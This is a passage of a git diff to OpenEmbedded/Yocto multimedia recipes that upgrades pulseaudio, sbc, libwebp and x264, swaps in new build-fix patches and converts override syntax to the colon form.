', '', d)}"
-RDEPENDS_pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
+RDEPENDS:pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
bb.utils.contains('DISTRO_FEATURES', 'systemd', 'pulseaudio-module-systemd-login', 'pulseaudio-module-console-kit', d), \
'', d)}"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
new file mode 100644
index 0000000000..b1a43bd7f0
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
@@ -0,0 +1,26 @@
+From 4ee244d0824e772ab35abb0f9df5e8088e16fc5d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 26 Apr 2021 19:30:40 +0200
+Subject: [PATCH] doxygen/meson.build: remove dependency on doxygen binary
+
+New meson refuses to complete confuguration if doxygen is absent
+even if this target is never actually run. As we never run it,
+let's remove it, until upstream and/or meson figure out that it's
+optional and should be treated as such.
+
+Upstream-Status: Inappropriate [needs proper upstream fix]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ doxygen/meson.build | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/doxygen/meson.build b/doxygen/meson.build
+index afc0e49..df55c83 100644
+--- a/doxygen/meson.build
++++ b/doxygen/meson.build
+@@ -6,5 +6,3 @@ doxygen_conf = configure_file(
+ configuration : cdata,
+ )
+
+-run_target('doxygen',
+- command : ['doxygen', doxygen_conf])
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch
new file mode 100644
index 0000000000..c9d8abcbf2
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch
@@ -0,0 +1,82 @@
+From 9d0dc8aedd08d77797f90fa6075a59613f18bf0d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 20 Dec 2020 07:56:07 -0800
+Subject: [PATCH] meson: Check for __get_cpuid
+
+checking for presence of cpuid.h header alone is not sufficient in some case to use
+cpuid related functions. e.g. when using clang which is built for
+multiple targets will have cpuid.h header as part of compiler headers in
+distribution but one maybe compiling pulseaudion for non-x86 target. The
+current check in meson succeeds and then compile fails later because
+cpuid.h is x86-specific header. Therefore checking for symbol that is
+needed makes this robust, so even if header exist it will try to ensure
+the given symbol can be used
+
+Fixes
+src/pulsecore/core-util.c:113:
+| /mnt/b/yoe/master/build/tmp/work/riscv64-yoe-linux/pulseaudio/14.0-r0/recipe-sysroot-native/usr/lib/clang/11.0.1/include/cpuid.h:11:2: error: this header is for x86 only
+| #error this header is for x86 only
+| ^
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Tanu Kaskinen <tanuk@iki.fi>
+---
+ meson.build | 5 ++++-
+ src/pulsecore/core-util.c | 2 +-
+ src/pulsecore/cpu-x86.c | 2 +-
+ 3 files changed, 6 insertions(+), 3 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 2589627..5f5127e 100644
+--- a/meson.build
++++ b/meson.build
+@@ -185,7 +185,6 @@ endif
+ check_headers = [
+ 'arpa/inet.h',
+ 'byteswap.h',
+- 'cpuid.h',
+ 'dlfcn.h',
+ 'execinfo.h',
+ 'grp.h',
+@@ -243,6 +242,10 @@ if cc.has_header_symbol('pthread.h', 'PTHREAD_PRIO_INHERIT')
+ cdata.set('HAVE_PTHREAD_PRIO_INHERIT', 1)
+ endif
+
++if cc.has_header_symbol('cpuid.h', '__get_cpuid')
++ cdata.set('HAVE_GET_CPUID', 1)
++endif
++
+ # Functions
+
+ check_functions = [
+diff --git a/src/pulsecore/core-util.c b/src/pulsecore/core-util.c
+index 601b1d1..6f34e7c 100644
+--- a/src/pulsecore/core-util.c
++++ b/src/pulsecore/core-util.c
+@@ -109,7 +109,7 @@
+ #include <sys/personality.h>
+ #endif
+
+-#ifdef HAVE_CPUID_H
++#ifdef HAVE_GET_CPUID
+ #include <cpuid.h>
+ #endif
+
+diff --git a/src/pulsecore/cpu-x86.c b/src/pulsecore/cpu-x86.c
+index 4e59e14..86595d4 100644
+--- a/src/pulsecore/cpu-x86.c
++++ b/src/pulsecore/cpu-x86.c
+@@ -24,7 +24,7 @@
+
+ #include <stdint.h>
+
+-#ifdef HAVE_CPUID_H
++#ifdef HAVE_GET_CPUID
+ #include <cpuid.h>
+ #endif
+
+--
+2.29.2
+
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch
deleted file mode 100644
index 95133fd9d4..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From 3450d1fcfe8a8f84553ab299cd96ae0705ddffbe Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 5 Mar 2020 11:48:28 -0800
-Subject: [PATCH] remap/arm: Adjust inline asm constraints
-
-gcc10 can effectively emit single precision registers if right
-operand modifier constraint is not in use
-
-This results in assembler rejecting the code
-
-/tmp/ccEG4QpI.s:646: Error: VFP/Neon double precision register expected -- `vtbl.8 d3,{d0,d1},s8'
-/tmp/ccEG4QpI.s:678: Error: invalid instruction shape -- `vmul.f32 d0,d0,s8'
-
-Therefore add %P qualifier to request double registers sinece 'w' could
-mean variable could be stored in s0..s14 and GCC defaults to printing out s0..s14.
-Note those registers map to d0..d7 also.
-
-Output generated is exactly same with gcc9, and it also now compiles
-with gcc10
-
-Its not documented well in gcc docs and there is a ticket for that
-https://gcc.gnu.org/bugzilla/show_bug.cgi?id=84343
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/261]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/pulsecore/remap_neon.c | 22 +++++++++++-----------
- 1 file changed, 11 insertions(+), 11 deletions(-)
-
-diff --git a/src/pulsecore/remap_neon.c b/src/pulsecore/remap_neon.c
-index 41208986d..ca3b95b48 100644
---- a/src/pulsecore/remap_neon.c
-+++ b/src/pulsecore/remap_neon.c
-@@ -189,7 +189,7 @@ static void remap_ch4_to_mono_float32ne_neon(pa_remap_t *m, float *dst, const fl
- "vadd.f32 d0, d0, d1 \n\t"
- "vadd.f32 d2, d2, d3 \n\t"
- "vadd.f32 d0, d0, d2 \n\t"
-- "vmul.f32 d0, d0, %[quart] \n\t"
-+ "vmul.f32 d0, d0, %P[quart] \n\t"
- "vst1.32 {d0}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [quart] "w" (quart) /* input operands */
-@@ -276,7 +276,7 @@ static void remap_arrange_stereo_s16ne_neon(pa_remap_t *m, int16_t *dst, const i
- for (; n >= 2; n -= 2) {
- __asm__ __volatile__ (
- "vld1.s16 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -287,7 +287,7 @@ static void remap_arrange_stereo_s16ne_neon(pa_remap_t *m, int16_t *dst, const i
- if (n > 0) {
- __asm__ __volatile__ (
- "vld1.32 d0[0], [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.32 d0[0], [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -302,8 +302,8 @@ static void remap_arrange_ch2_ch4_s16ne_neon(pa_remap_t *m, int16_t *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.32 d0[0], [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-- "vst1.s16 d0, [%[dst]]! \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
-+ "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
- : "memory", "d0" /* clobber list */
-@@ -317,7 +317,7 @@ static void remap_arrange_ch4_s16ne_neon(pa_remap_t *m, int16_t *dst, const int1
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.s16 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -332,7 +332,7 @@ static void remap_arrange_stereo_float32ne_neon(pa_remap_t *m, float *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 {d0}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -349,8 +349,8 @@ static void remap_arrange_ch2_ch4_any32ne_neon(pa_remap_t *m, float *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 d0, [%[src]]! \n\t"
-- "vtbl.8 d1, {d0}, %[t0] \n\t"
-- "vtbl.8 d2, {d0}, %[t1] \n\t"
-+ "vtbl.8 d1, {d0}, %P[t0] \n\t"
-+ "vtbl.8 d2, {d0}, %P[t1] \n\t"
- "vst1.s16 {d1,d2}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t0] "w" (t0), [t1] "w" (t1) /* input operands */
-@@ -366,8 +366,8 @@ static void remap_arrange_ch4_float32ne_neon(pa_remap_t *m, float *dst, const fl
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 {d0,d1}, [%[src]]! \n\t"
-- "vtbl.8 d2, {d0,d1}, %[t0] \n\t"
-- "vtbl.8 d3, {d0,d1}, %[t1] \n\t"
-+ "vtbl.8 d2, {d0,d1}, %P[t0] \n\t"
-+ "vtbl.8 d3, {d0,d1}, %P[t1] \n\t"
- "vst1.s16 {d2,d3}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t0] "w" (t0), [t1] "w" (t1) /* input operands */
---
-2.25.1
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch
deleted file mode 100644
index aaa162f9b0..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 4a1668f341f0228904105f77fe5871b9d59b2663 Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanuk@iki.fi>
-Date: Mon, 13 Jul 2020 12:42:14 +0300
-Subject: [PATCH] remap_neon: use register r12 instead of r7
-
-When the Thumb instructions set is used and frame pointers are enabled
-(-fno-omit-frame-pointer), r7 can't be used, because it's used for the
-frame pointer. Trying to use r7 caused the compilation to fail.
-
-Thanks to Andre McCurdy for suggesting[1] this fix, all I had to do was to
-test that it works. The code builds now, and cpu-remap-test also
-succeeds.
-
-[1] https://lists.openembedded.org/g/openembedded-core/message/136786
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/324]
-
-Signed-off-by: Tanu Kaskinen <tanuk@iki.fi>
----
- src/pulsecore/remap_neon.c | 10 +++++++---
- 1 file changed, 7 insertions(+), 3 deletions(-)
-
-diff --git a/src/pulsecore/remap_neon.c b/src/pulsecore/remap_neon.c
-index ca3b95b48..6f71345f8 100644
---- a/src/pulsecore/remap_neon.c
-+++ b/src/pulsecore/remap_neon.c
-@@ -52,11 +52,15 @@ static void remap_mono_to_stereo_float32ne_generic_arm(pa_remap_t *m, float *dst
- __asm__ __volatile__ (
- "ldm %[src]!, {r4,r6} \n\t"
- "mov r5, r4 \n\t"
-- "mov r7, r6 \n\t"
-- "stm %[dst]!, {r4-r7} \n\t"
-+
-+ /* We use r12 instead of r7 here, because r7 is reserved for the
-+ * frame pointer when using Thumb. */
-+ "mov r12, r6 \n\t"
-+
-+ "stm %[dst]!, {r4-r6,r12} \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : /* input operands */
-- : "memory", "r4", "r5", "r6", "r7" /* clobber list */
-+ : "memory", "r4", "r5", "r6", "r12" /* clobber list */
- );
- }
-
---
-2.20.1
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
index 43add75db4..48f0492177 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
@@ -13,18 +13,18 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/daemon/main.c b/src/daemon/main.c
-index c80fa94..75496be 100644
+index 30ef499..5c3abf0 100644
--- a/src/daemon/main.c
+++ b/src/daemon/main.c
-@@ -908,7 +908,7 @@ int main(int argc, char *argv[]) {
+@@ -916,7 +916,7 @@ int main(int argc, char *argv[]) {
+ pa_set_env_and_record("PULSE_SYSTEM", conf->system_instance ? "1" : "0");
pa_log_info("This is PulseAudio %s", PACKAGE_VERSION);
- pa_log_debug("Compilation host: %s", CANONICAL_HOST);
- pa_log_debug("Compilation CFLAGS: %s", PA_CFLAGS);
+ pa_log_debug("Compilation CFLAGS: ***");
#ifdef HAVE_LIBSAMPLERATE
pa_log_warn("Compiled with DEPRECATED libsamplerate support!");
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb
deleted file mode 100644
index 53e9a2357d..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require pulseaudio.inc
-
-SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
- file://0001-client-conf-Add-allow-autospawn-for-root.patch \
- file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
- file://0001-remap-arm-Adjust-inline-asm-constraints.patch \
- file://0001-remap_neon-use-register-r12-instead-of-r7.patch \
- file://volatiles.04_pulse \
- "
-SRC_URI[md5sum] = "e41d606f90254ed45c90520faf83d95c"
-SRC_URI[sha256sum] = "961b23ca1acfd28f2bc87414c27bb40e12436efcf2158d29721b1e89f3f28057"
-UPSTREAM_CHECK_REGEX = "pulseaudio-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb
new file mode 100644
index 0000000000..239d31810b
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb
@@ -0,0 +1,11 @@
+require pulseaudio.inc
+
+SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
+ file://0001-client-conf-Add-allow-autospawn-for-root.patch \
+ file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
+ file://0001-meson-Check-for-__get_cpuid.patch \
+ file://volatiles.04_pulse \
+ file://0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch \
+ "
+SRC_URI[sha256sum] = "a40b887a3ba98cc26976eb11bdb6613988f145b19024d1b6555c6a03c9cba1a0"
+UPSTREAM_CHECK_REGEX = "pulseaudio-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
diff --git a/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch b/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch
new file mode 100644
index 0000000000..11cec74fbb
--- /dev/null
+++ b/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch
@@ -0,0 +1,45 @@
+From f4a1224323e386090a44bf70ee0ac9877ba7fb0d Mon Sep 17 00:00:00 2001
+From: Marius Bakke <marius@gnu.org>
+Date: Tue, 22 Dec 2020 11:04:26 +0000
+Subject: [PATCH] sbc_primitives: Fix build on non-x86.
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Don't call __builtin_cpu_init unless targeting i386 or x86_64.
+Otherwise we get an error at link time:
+
+ CC sbc/sbc_primitives.lo
+sbc/sbc_primitives.c: In function ‘sbc_init_primitives_x86’:
+sbc/sbc_primitives.c:596:2: warning: implicit declaration of function ‘__builtin_cpu_init’; did you mean ‘__builtin_irint’? [-Wimplicit-function-declaration]
+[...]
+ CCLD src/sbcdec
+ld: sbc/.libs/libsbc-private.a(sbc_primitives.o): in function `sbc_init_primitives':
+sbc_primitives.c:(.text+0x3a30): undefined reference to `__builtin_cpu_init'
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ sbc/sbc_primitives.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/sbc/sbc_primitives.c b/sbc/sbc_primitives.c
+index 97a75be..09c214a 100644
+--- a/sbc/sbc_primitives.c
++++ b/sbc/sbc_primitives.c
+@@ -593,6 +593,7 @@ static int sbc_calc_scalefactors_j(
+
+ static void sbc_init_primitives_x86(struct sbc_encoder_state *state)
+ {
++#if defined(__x86_64__) || defined(__i386__)
+ __builtin_cpu_init();
+
+ #ifdef SBC_BUILD_WITH_MMX_SUPPORT
+@@ -604,6 +605,7 @@ static void sbc_init_primitives_x86(struct sbc_encoder_state *state)
+ if (__builtin_cpu_supports("sse4.2"))
+ sbc_init_primitives_sse(state);
+ #endif
++#endif
+ }
+
+ /*
diff --git a/meta/recipes-multimedia/sbc/sbc_1.4.bb b/meta/recipes-multimedia/sbc/sbc_1.4.bb
deleted file mode 100644
index 674d77ef48..0000000000
--- a/meta/recipes-multimedia/sbc/sbc_1.4.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "SBC Audio Codec"
-DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
-HOMEPAGE = "https://www.bluez.org"
-SECTION = "libs"
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-examples = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
- file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
-
-DEPENDS = "libsndfile1"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "800fb0908899baa48dc216d8e156cc05"
-SRC_URI[sha256sum] = "518bf46e6bb3dc808a95e1eabad26fdebe8a099c1e781c27ed7fca6c2f4a54c9"
-
-inherit autotools pkgconfig
-
-PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/sbc/sbc_1.5.bb b/meta/recipes-multimedia/sbc/sbc_1.5.bb
new file mode 100644
index 0000000000..13bba6b6b3
--- /dev/null
+++ b/meta/recipes-multimedia/sbc/sbc_1.5.bb
@@ -0,0 +1,24 @@
+SUMMARY = "SBC Audio Codec"
+DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
+HOMEPAGE = "https://www.bluez.org"
+SECTION = "libs"
+LICENSE = "GPLv2+ & LGPLv2.1+"
+LICENSE:${PN} = "LGPLv2.1+"
+LICENSE:${PN}-examples = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
+ file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
+ file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
+ file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
+
+DEPENDS = "libsndfile1"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz \
+ file://0001-sbc_primitives-Fix-build-on-non-x86.patch \
+ "
+
+SRC_URI[sha256sum] = "0cbad69823a99e8421fe0700e8cf9eeb8fa0c1ad28e8dbc2182b3353507931d2"
+
+inherit autotools pkgconfig
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb b/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
index 6369646761..bb7bc9aade 100644
--- a/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
+++ b/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
@@ -21,7 +21,7 @@ EXTRA_OECONF = "\
# speexdsp was split off from speex in 1.2rc2. Older versions of speex can't
# be installed together with speexdsp, since they contain overlapping files.
-RCONFLICTS_${PN} = "speex (< 1.2rc2)"
-RCONFLICTS_${PN}-dbg = "speex-dbg (< 1.2rc2)"
-RCONFLICTS_${PN}-dev = "speex-dev (< 1.2rc2)"
-RCONFLICTS_${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
+RCONFLICTS:${PN} = "speex (< 1.2rc2)"
+RCONFLICTS:${PN}-dbg = "speex-dbg (< 1.2rc2)"
+RCONFLICTS:${PN}-dev = "speex-dev (< 1.2rc2)"
+RCONFLICTS:${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.1.0.bb b/meta/recipes-multimedia/webp/libwebp_1.1.0.bb
deleted file mode 100644
index 68e5ae2b3c..0000000000
--- a/meta/recipes-multimedia/webp/libwebp_1.1.0.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "WebP is an image format designed for the Web"
-DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
- used on a large variety of photographic, translucent and \
- graphical images found on the web. The degree of lossy \
- compression is adjustable so a user can choose the trade-off \
- between file size and image quality. WebP typically achieves \
- an average of 30% more compression than JPEG and JPEG 2000, \
- without loss of image quality."
-HOMEPAGE = "https://developers.google.com/speed/webp/"
-SECTION = "libs"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
- file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
-
-SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
-SRC_URI[md5sum] = "7e047f2cbaf584dff7a8a7e0f8572f18"
-SRC_URI[sha256sum] = "98a052268cc4d5ece27f76572a7f50293f439c17a98e67c4ea0c7ed6f50ef043"
-
-UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
-
-EXTRA_OECONF = " \
- --disable-wic \
- --enable-libwebpmux \
- --enable-libwebpdemux \
- --enable-threading \
-"
-
-# Do not trust configure to determine if neon is available.
-#
-EXTRA_OECONF_ARM = " \
- ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
-"
-EXTRA_OECONF_append_arm = " ${EXTRA_OECONF_ARM}"
-EXTRA_OECONF_append_armeb = " ${EXTRA_OECONF_ARM}"
-
-inherit autotools lib_package
-
-PACKAGECONFIG ??= ""
-
-# libwebpdecoder is a subset of libwebp, don't build it unless requested
-PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
-
-# Apply for examples programs: cwebp and dwebp
-PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
-PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
-PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
-
-# Apply only for example program vwebp
-PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
-
-PACKAGES =+ "${PN}-gif2webp"
-
-DESCRIPTION_${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
-FILES_${PN}-gif2webp = "${bindir}/gif2webp"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.2.1.bb b/meta/recipes-multimedia/webp/libwebp_1.2.1.bb
new file mode 100644
index 0000000000..d634e02180
--- /dev/null
+++ b/meta/recipes-multimedia/webp/libwebp_1.2.1.bb
@@ -0,0 +1,55 @@
+SUMMARY = "WebP is an image format designed for the Web"
+DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
+ used on a large variety of photographic, translucent and \
+ graphical images found on the web. The degree of lossy \
+ compression is adjustable so a user can choose the trade-off \
+ between file size and image quality. WebP typically achieves \
+ an average of 30% more compression than JPEG and JPEG 2000, \
+ without loss of image quality."
+HOMEPAGE = "https://developers.google.com/speed/webp/"
+SECTION = "libs"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
+ file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
+
+SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
+SRC_URI[sha256sum] = "808b98d2f5b84e9b27fdef6c5372dac769c3bda4502febbfa5031bd3c4d7d018"
+
+UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
+
+EXTRA_OECONF = " \
+ --disable-wic \
+ --enable-libwebpmux \
+ --enable-libwebpdemux \
+ --enable-threading \
+"
+
+# Do not trust configure to determine if neon is available.
+#
+EXTRA_OECONF_ARM = " \
+ ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
+"
+EXTRA_OECONF:append:arm = " ${EXTRA_OECONF_ARM}"
+EXTRA_OECONF:append:armeb = " ${EXTRA_OECONF_ARM}"
+
+inherit autotools lib_package
+
+PACKAGECONFIG ??= ""
+
+# libwebpdecoder is a subset of libwebp, don't build it unless requested
+PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
+
+# Apply for examples programs: cwebp and dwebp
+PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
+PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
+PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
+
+# Apply only for example program vwebp
+PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
+
+PACKAGES =+ "${PN}-gif2webp"
+
+DESCRIPTION:${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
+FILES:${PN}-gif2webp = "${bindir}/gif2webp"
diff --git a/meta/recipes-multimedia/x264/x264_git.bb b/meta/recipes-multimedia/x264/x264_git.bb
index 25ab72c66d..c49e935d1c 100644
--- a/meta/recipes-multimedia/x264/x264_git.bb
+++ b/meta/recipes-multimedia/x264/x264_git.bb
@@ -8,26 +8,26 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
DEPENDS = "nasm-native"
-SRC_URI = "git://github.com/mirror/x264;branch=stable \
+SRC_URI = "git://github.com/mirror/x264;branch=stable;protocol=https \
file://don-t-default-to-cortex-a9-with-neon.patch \
file://Fix-X32-build-by-disabling-asm.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "d198931a63049db1f2c92d96c34904c69fde8117"
+SRCREV = "5db6aa6cab1b146e07b60cc1736a01f21da01154"
-PV = "r3011+git${SRCPV}"
+PV = "r3039+git${SRCPV}"
S = "${WORKDIR}/git"
inherit lib_package pkgconfig
X264_DISABLE_ASM = ""
-X264_DISABLE_ASM_x86 = "--disable-asm"
-X264_DISABLE_ASM_armv4 = "--disable-asm"
-X264_DISABLE_ASM_armv5 = "--disable-asm"
-X264_DISABLE_ASM_powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
-X264_DISABLE_ASM_mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
+X264_DISABLE_ASM:x86 = "--disable-asm"
+X264_DISABLE_ASM:armv4 = "--disable-asm"
+X264_DISABLE_ASM:armv5 = "--disable-asm"
